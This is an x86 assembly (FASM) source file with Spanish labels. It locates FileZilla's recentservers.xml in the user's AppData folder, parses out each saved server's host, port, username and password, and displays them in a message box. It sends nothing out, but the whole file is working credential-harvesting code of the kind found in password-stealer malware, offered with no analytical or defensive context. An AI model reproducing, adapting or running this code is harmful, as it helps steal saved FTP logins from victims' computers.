include "win32ax.inc"

.data
        AppData                 rb 256
        hFile                   dd ?
        TamAr                   dd ?
        DatosFileZilla          dd ?

        BufferDatos             dd ?

        Salto                   db 10,13,0

.code
start:


    invoke GetEnvironmentVariable,"APPDATA",addr AppData,256
    invoke lstrcat,addr AppData,"\FileZilla\recentservers.xml"

    invoke GlobalAlloc,GPTR,1024
    mov [BufferDatos],eax

    invoke CreateFile,addr AppData,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,,NULL,NULL
    mov [hFile],eax

    invoke GetFileSize,eax,0
    mov [TamAr],eax

    invoke GlobalAlloc,GPTR,eax
    mov [DatosFileZilla],eax

    invoke ReadFile,[hFile],eax,[TamAr],ebx,0
    invoke CloseHandle,[hFile]

    mov eax,[DatosFileZilla]

    dec eax

    BusHost:
    inc eax

    cmp dword[eax],'<Hos'
    jne BusHost

    add eax,6
    push eax

    invoke lstrcat,[BufferDatos],'Host: '

    pop eax

    mov ebx,eax

    mov ecx,[BufferDatos]
    add ecx,7

    sub ecx,2
    dec eax

    sbHost:
    inc ecx
    inc eax

    cmp word[eax],'</'
    je SeHost

    mov dl, byte[eax]
    mov byte[ecx],dl

    jmp sbHost

    SeHost:

    mov eax,ebx
    dec eax

    BusPort:
    inc eax

    cmp dword[eax],'<Por'
    jne BusPort

    push eax
    invoke lstrcat,[BufferDatos],Salto
    invoke lstrcat,[BufferDatos],'Port: '
    pop eax

    add eax,6

    mov ecx, eax

    SecPort:
    inc eax

    cmp word[eax],'</'
    je sbPort

    jmp SecPort

    sbPort:
    mov byte[eax],0

    push ecx
    invoke lstrcat,[BufferDatos],ecx
    pop ecx

    mov eax,ecx

    sbUser:

    inc eax
    cmp dword[eax], '<Use'
    jne sbUser

    add eax,6

    push eax
    invoke lstrcat,[BufferDatos],Salto
    invoke lstrcat,[BufferDatos],'User: '
    pop eax

    mov ecx,eax

    scUser:
    inc eax

    cmp word[eax],'</'
    jne scUser

    mov byte[eax],0

    push ecx
    invoke lstrcat,[BufferDatos],ecx
    invoke lstrcat,[BufferDatos],Salto
    invoke lstrcat,[BufferDatos],'Pass: '
    pop ecx

    mov eax,ecx

    bPass:
    inc eax
    cmp dword[eax],'<Pas'
    jne bPass

    add eax,6
    mov ecx,eax

    nPass:

    inc eax

    cmp word[eax],'</'
    jne nPass


    mov byte[eax],0

    invoke lstrcat,[BufferDatos],ecx

    invoke MessageBoxA,0,[BufferDatos],"Tus Datos Son:",0

    ret

.end start